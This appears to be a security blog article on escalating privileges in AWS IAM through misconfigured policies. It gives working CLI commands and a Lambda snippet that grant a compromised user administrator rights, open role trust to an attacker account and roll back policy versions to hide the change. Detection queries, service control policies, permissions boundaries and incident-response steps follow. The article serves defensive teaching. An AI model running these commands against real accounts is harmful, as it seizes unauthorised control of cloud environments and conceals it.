AWS IAM Privilege Escalation Through Policy Misconfiguration: A Deep Technical Analysis

8 min read

Cover Image for AWS IAM Privilege Escalation Through Policy Misconfiguration: A Deep Technical Analysis

AWS Identity and Access Management (IAM) forms the cornerstone of cloud security, controlling who can access what resources within your AWS environment. However, when IAM policies are misconfigured, they can create devastating attack vectors that allow attackers to escalate from limited access to full administrative control. This comprehensive analysis explores the technical intricacies of AWS IAM privilege escalation, real-world exploitation techniques, and robust defensive strategies.

Example of an AWS IAM policy JSON structure granting full access to EC2 and related services used to illustrate permissions and potential privilege escalation risks

Example of an AWS IAM policy JSON structure granting full access to EC2 and related services used to illustrate permissions and potential privilege escalation risks

Understanding AWS IAM Privilege Escalation

Privilege escalation in AWS occurs when an attacker with limited permissions can leverage policy misconfigurations to gain higher-level access than originally intended. Unlike traditional operating system privilege escalation, AWS IAM escalation exploits the complex web of policies, roles, and trust relationships that govern cloud resource access.

The Anatomy of IAM Policy Misconfigurations

IAM privilege escalation typically stems from four primary categories of misconfigurations:

Overprivileged Direct Permissions: Users or roles granted excessive permissions that allow direct self-modification Indirect Escalation Paths: Permissions that enable modification of other identities with higher privileges
Trust Relationship Abuse: Misconfigured assume role policies that allow unintended identity assumption Service-Based Escalation: Leveraging AWS service integrations to execute code with elevated permissions

Diagram showing AWS IAM privilege escalation via a compromised Delegated Admin Account allowing access to all organizational units and member accounts

Diagram showing AWS IAM privilege escalation via a compromised Delegated Admin Account allowing access to all organizational units and member accounts

Critical Privilege Escalation Techniques

1. CreatePolicyVersion Attack Vector

The iam:CreatePolicyVersion permission represents one of the most dangerous privilege escalation paths in AWS. This attack exploits a subtle but critical design decision in AWS IAM.

Technical Details: When creating a new policy version, attackers can use the --set-as-default flag to automatically make their malicious policy version active without requiring the iam:SetDefaultPolicyVersion permission.

Attack Sequence:

# 1. Identify target managed policy attached to current user
aws iam list-attached-user-policies --user-name compromised-user

# 2. Create malicious policy document
cat > admin-policy.json << EOF
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}
EOF

# 3. Execute privilege escalation
aws iam create-policy-version \
    --policy-arn arn:aws:iam::ACCOUNT-ID:policy/VulnerablePolicy \
    --policy-document file://admin-policy.json \
    --set-as-default

Impact Analysis: This technique can escalate from minimal permissions to full administrator access in a single API call. The attack is particularly dangerous because it modifies existing policies rather than creating new ones, potentially evading detection systems that only monitor new policy creation.

Note: This escalation path requires that the attacker already has access to a managed policy that is attached to their own identity (user, group, or role). Without such an attachment, creating a new version will not automatically escalate their privileges.

2. Direct Policy Attachment Attacks

The iam:AttachUserPolicy permission allows attackers to attach any AWS managed or customer managed policy to users they can access, including themselves.

Exploitation Method:

# Escalate to administrator access
aws iam attach-user-policy \
    --user-name compromised-user \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Alternative: Attach specific service policies
aws iam attach-user-policy \
    --user-name compromised-user \
    --policy-arn arn:aws:iam::aws:policy/IAMFullAccess

Strategic Considerations: Attackers often prefer attaching granular policies rather than AdministratorAccess to avoid triggering security alerts. Common targets include IAMFullAccess, PowerUserAccess, or custom policies with specific dangerous permissions.

3. Inline Policy Injection

The iam:PutUserPolicy permission enables creation of inline policies with arbitrary permissions, providing another direct escalation path.

Technical Implementation:

# Create inline policy with full permissions
aws iam put-user-policy \
    --user-name compromised-user \
    --policy-name EscalatedAccess \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": "*",
                "Resource": "*"
            }
        ]
    }'

Stealth Considerations: Inline policies are embedded directly within users, roles, or groups, making them harder to discover during security audits compared to managed policies that appear in centralized policy lists.

4. AssumeRole Policy manipulation

The iam:UpdateAssumeRolePolicy permission allows attackers to modify role trust policies, enabling them to assume roles with elevated permissions.

Attack Process:

# 1. Identify high-privilege role
aws iam list-roles --query 'Roles[?contains(RoleName, `Admin`) || contains(RoleName, `Power`)].RoleName'

# 2. Update trust policy to allow assumption
aws iam update-assume-role-policy \
    --role-name HighPrivilegedRole \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": {
                    "AWS": "arn:aws:iam::ACCOUNT-ID:user/compromised-user"
                },
                "Action": "sts:AssumeRole"
            }
        ]
    }'

# 3. Assume the role
aws sts assume-role \
    --role-arn arn:aws:iam::ACCOUNT-ID:role/HighPrivilegedRole \
    --role-session-name EscalationSession

Organizations using Service Control Policies (SCPs) or explicit Deny conditions in trust policies can mitigate this attack by preventing modifications to sensitive role assumptions (e.g., admin or security roles).

5. Service-Based Escalation Techniques

Several AWS services can be leveraged for privilege escalation when combined with iam:PassRole permissions.

Lambda Function Escalation:

import boto3

def lambda_handler(event, context):
    # Code executed with elevated role permissions
    iam = boto3.client('iam')

    # Attach admin policy to original user
    iam.attach_user_policy(
        UserName='compromised-user',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )

    return {'statusCode': 200, 'body': 'Privilege escalated'}

EC2 Instance Profile Abuse:

# Launch EC2 with privileged instance profile
aws ec2 run-instances \
    --image-id ami-12345678 \
    --instance-type t2.micro \
    --iam-instance-profile Name=AdminInstanceProfile \
    --user-data file://escalation-script.sh \
    --key-name attacker-key

Beyond Lambda and EC2, other AWS services such as CloudFormation, Glue, SageMaker, and Step Functions can also be abused when combined with iam:PassRole permissions, depending on which services are enabled in the environment.

Detection and Monitoring Strategies

CloudTrail Event Analysis

Effective detection requires monitoring specific CloudTrail events that indicate potential privilege escalation:

High-Priority Events:

  • CreatePolicyVersion with setAsDefault: true

  • AttachUserPolicy, AttachRolePolicy, AttachGroupPolicy

  • PutUserPolicy, PutRolePolicy, PutGroupPolicy

  • UpdateAssumeRolePolicy

  • AddUserToGroup

  • CreateAccessKey for users other than self

Advanced Detection Queries:

{
  "eventName": "CreatePolicyVersion",
  "requestParameters": {
    "setAsDefault": true
  },
  "errorCode": {
    "exists": false
  }
}

In practice, effective detection often requires correlating these events with user identity details (e.g., whether the actor is modifying their own permissions) and applying time-based filters to reduce false positives. A single raw event match may generate excessive noise.

GuardDuty Integration

AWS GuardDuty provides native detection for several privilege escalation patterns:

  • PrivilegeEscalation:IAMUser/AnomalouseBehavior: Detects unusual IAM API usage patterns

  • PrivilegeEscalation:IAMUser/AdministrativePermissions: Flags attempts to assign highly permissive policies

While GuardDuty can detect several privilege escalation attempts, it does not cover every technique (for example, certain UpdateAssumeRolePolicy manipulations or service-based escalations). It should be used as part of a layered detection strategy, not as a sole control.

Custom Detection Logic

Implement custom detection rules for advanced scenarios:

def detect_privilege_escalation(cloudtrail_event):
    dangerous_actions = [
        'CreatePolicyVersion',
        'AttachUserPolicy', 
        'PutUserPolicy',
        'UpdateAssumeRolePolicy'
    ]

    if cloudtrail_event['eventName'] in dangerous_actions:
        # Check if user is escalating their own permissions
        user_arn = cloudtrail_event['userIdentity']['arn']
        target_user = cloudtrail_event['requestParameters'].get('userName')

        if user_arn.endswith(f"user/{target_user}"):
            return True, "Self-privilege escalation detected"

    return False, None

Defensive Strategies and Mitigation

Permissions Boundaries

Implement IAM permissions boundaries to set maximum permissions regardless of identity-based policies:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:PutObject",
                "ec2:DescribeInstances",
                "lambda:InvokeFunction"
            ],
            "Resource": "*"
        },
        {
            "Effect": "Deny",
            "Action": [
                "iam:CreatePolicyVersion",
                "iam:AttachUserPolicy",
                "iam:PutUserPolicy",
                "iam:UpdateAssumeRolePolicy"
            ],
            "Resource": "*"
        }
    ]
}

Service Control Policies (SCPs)

Use SCPs in AWS Organizations to enforce guardrails:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "PreventPrivilegeEscalation",
            "Effect": "Deny",
            "Action": [
                "iam:CreatePolicyVersion",
                "iam:SetDefaultPolicyVersion",
                "iam:AttachUserPolicy",
                "iam:AttachRolePolicy",
                "iam:PutUserPolicy",
                "iam:PutRolePolicy"
            ],
            "Resource": "*",
            "Condition": {
                "StringNotEquals": {
                    "aws:PrincipalTag/Role": "SecurityTeam"
                }
            }
        }
    ]
}

Least Privilege Policy Design

Implement context-aware policies using IAM policy variables:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:ChangePassword",
                "iam:CreateAccessKey",
                "iam:UpdateAccessKey"
            ],
            "Resource": "arn:aws:iam::*:user/${aws:username}"
        }
    ]
}

Automated Remediation

Implement automated responses to detected privilege escalation attempts:

import boto3

def remediate_privilege_escalation(event):
    iam = boto3.client('iam')

    # Extract user from CloudTrail event
    user_arn = event['userIdentity']['arn']
    username = user_arn.split('/')[-1]

    # Quarantine user by attaching deny-all policy
    quarantine_policy = {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Deny",
                "Action": "*",
                "Resource": "*"
            }
        ]
    }

    iam.put_user_policy(
        UserName=username,
        PolicyName='SecurityQuarantine',
        PolicyDocument=json.dumps(quarantine_policy)
    )

    # Disable access keys
    response = iam.list_access_keys(UserName=username)
    for key in response['AccessKeyMetadata']:
        iam.update_access_key(
            UserName=username,
            AccessKeyId=key['AccessKeyId'],
            Status='Inactive'
        )

Advanced Evasion Techniques

Policy Version Rollback

Sophisticated attackers may create multiple policy versions to establish persistence:

# Create benign version first
aws iam create-policy-version \
    --policy-arn arn:aws:iam::ACCOUNT-ID:policy/TargetPolicy \
    --policy-document file://benign-policy.json

# Create malicious version
aws iam create-policy-version \
    --policy-arn arn:aws:iam::ACCOUNT-ID:policy/TargetPolicy \
    --policy-document file://malicious-policy.json \
    --set-as-default

# Later, rollback to appear innocent
aws iam set-default-policy-version \
    --policy-arn arn:aws:iam::ACCOUNT-ID:policy/TargetPolicy \
    --version-id v1

Cross-Account Privilege Escalation

Leverage cross-account roles for lateral movement:

# Modify role trust policy to allow cross-account access
aws iam update-assume-role-policy \
    --role-name TargetRole \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": {
                    "AWS": "arn:aws:iam::ATTACKER-ACCOUNT:root"
                },
                "Action": "sts:AssumeRole"
            }
        ]
    }'

Incident Response Procedures

Immediate Response Actions

  1. Isolate the Compromised Identity: Attach deny-all inline policies

  2. Revoke Active Sessions: Use IAM policy conditions to invalidate existing sessions

  3. Audit Policy Changes: Review all policy modifications in the incident timeframe

  4. Check for Persistence: Scan for new users, roles, and policies created by the attacker

Forensic Analysis

Examine CloudTrail logs for the complete attack timeline:

# Query for privilege escalation events
aws logs filter-log-events \
    --log-group-name CloudTrail/IAM \
    --start-time 1635724800000 \
    --filter-pattern '{ $.eventName = CreatePolicyVersion || $.eventName = AttachUserPolicy }'

Conclusion

AWS IAM privilege escalation through policy misconfiguration represents a critical security risk that requires comprehensive understanding and proactive defense. Organizations must implement layered security controls including permissions boundaries, service control policies, real-time monitoring, and automated response capabilities.

The sophistication of these attacks continues to evolve, making it essential for security teams to stay current with emerging techniques and maintain robust detection capabilities. Regular auditing of IAM policies, implementation of least privilege principles, and continuous monitoring of privilege-related API calls form the foundation of effective defense against these attack vectors.

By understanding the technical details of these exploitation techniques and implementing appropriate countermeasures, organizations can significantly reduce their risk of successful privilege escalation attacks while maintaining the flexibility and functionality that makes AWS powerful for legitimate use cases.